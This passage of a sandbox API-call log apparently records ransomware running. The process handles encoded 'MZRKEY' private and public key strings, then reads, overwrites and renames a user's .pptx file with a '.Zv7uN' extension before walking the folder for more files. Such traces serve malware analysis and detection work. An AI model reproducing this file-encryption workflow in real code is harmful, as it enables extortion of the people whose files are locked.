HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\Yf8w3Ir-P2yrhyy.pptx", dwFileAttributes=0x80) returned 1 [0088.768] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.769] GetCurrentThreadId () returned 0xa30 [0088.769] GetCurrentThreadId () returned 0xa30 [0088.770] GetCurrentThreadId () returned 0xa30 [0088.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.771] GetCurrentThreadId () returned 0xa30 [0088.771] GetCurrentThreadId () returned 0xa30 [0088.771] GetCurrentThreadId () returned 0xa30 [0088.771] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\Yf8w3Ir-P2yrhyy.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\yf8w3ir-p2yrhyy.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0088.771] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee30*=0) returned 0x0 [0088.771] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0088.772] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0xaf11 [0088.772] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0088.772] ReadFile (in: hFile=0x120, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0xaf11, lpNumberOfBytesRead=0x18ee3c, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18ee3c*=0xaf11, lpOverlapped=0x0) returned 1 [0088.774] CloseHandle (hObject=0x120) returned 1 [0088.775] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\Yf8w3Ir-P2yrhyy.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\yf8w3ir-p2yrhyy.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0088.777] WriteFile (in: hFile=0x120, lpBuffer=0x1f41ac0*, nNumberOfBytesToWrite=0xaf11, lpNumberOfBytesWritten=0x18ee48, lpOverlapped=0x0 | out: lpBuffer=0x1f41ac0*, lpNumberOfBytesWritten=0x18ee48*=0xaf11, lpOverlapped=0x0) returned 1 [0088.780] CloseHandle (hObject=0x120) returned 1 [0088.780] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\Yf8w3Ir-P2yrhyy.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\yf8w3ir-p2yrhyy.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\Yf8w3Ir-P2yrhyy.pptx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\yf8w3ir-p2yrhyy.pptx.zv7un")) returned 1 [0088.781] GetCurrentThreadId () returned 0xa30 [0088.781] GetCurrentThreadId () returned 0xa30 [0088.781] GetCurrentThreadId () returned 0xa30 [0088.781] GetCurrentThreadId () returned 0xa30 [0088.781] GetCurrentThreadId () returned 0xa30 [0088.781] GetCurrentThreadId () returned 0xa30 [0088.781] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52955430, ftCreationTime.dwHighDateTime=0x1d5e1c6, ftLastAccessTime.dwLowDateTime=0xe6bfdb0, ftLastAccessTime.dwHighDateTime=0x1d5e25a, ftLastWriteTime.dwLowDateTime=0xe6bfdb0, ftLastWriteTime.dwHighDateTime=0x1d5e25a, nFileSizeHigh=0x0, nFileSizeLow=0xaf11, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Yf8w3Ir-P2yrhyy.pptx", cAlternateFileName="YF8W3I~1.PPT")) returned 0 [0088.781] GetLastError () returned 0x12 [0088.781] FindClose (in: hFindFile=0x6aa100 | out: hFindFile=0x6aa100) returned 1 [0088.781] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\*.*", lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf882f870, ftCreationTime.dwHighDateTime=0x1d5d933, ftLastAccessTime.dwLowDateTime=0x52cd9140, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52cd9140, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa100 [0088.782] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eeec | out: lpLocalFileTime=0x18eeec) returned 1 [0088.782] FileTimeToDosDateTime (in: lpFileTime=0x18eeec, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.782] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf882f870, ftCreationTime.dwHighDateTime=0x1d5d933, ftLastAccessTime.dwLowDateTime=0x52cd9140, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52cd9140, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0088.782] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.782] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.782] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe190e180, ftCreationTime.dwHighDateTime=0x1d5e07d, ftLastAccessTime.dwLowDateTime=0xfc0b3470, ftLastAccessTime.dwHighDateTime=0x1d5e2ad, ftLastWriteTime.dwLowDateTime=0x52c66d20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x91a8, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="5DJG.xls.Zv7uN", cAlternateFileName="5DJGXL~1.ZV7")) returned 1 [0088.782] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.782] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.782] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc23e9e00, ftCreationTime.dwHighDateTime=0x1d5da9a, ftLastAccessTime.dwLowDateTime=0x23d7d2f0, ftLastAccessTime.dwHighDateTime=0x1d5e1d8, ftLastWriteTime.dwLowDateTime=0x23d7d2f0, ftLastWriteTime.dwHighDateTime=0x1d5e1d8, nFileSizeHigh=0x0, nFileSizeLow=0x2127, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="608WYNFO5klObV.ots", cAlternateFileName="608WYN~1.OTS")) returned 1 [0088.782] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.782] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.782] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfea3570, ftCreationTime.dwHighDateTime=0x1d5da94, ftLastAccessTime.dwLowDateTime=0x46668cc0, ftLastAccessTime.dwHighDateTime=0x1d5e229, ftLastWriteTime.dwLowDateTime=0x52c8ce80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x7b9f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="C5a1Xl8LZSVJ.ppt.Zv7uN", cAlternateFileName="C5A1XL~1.ZV7")) returned 1 [0088.782] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.782] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.782] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, 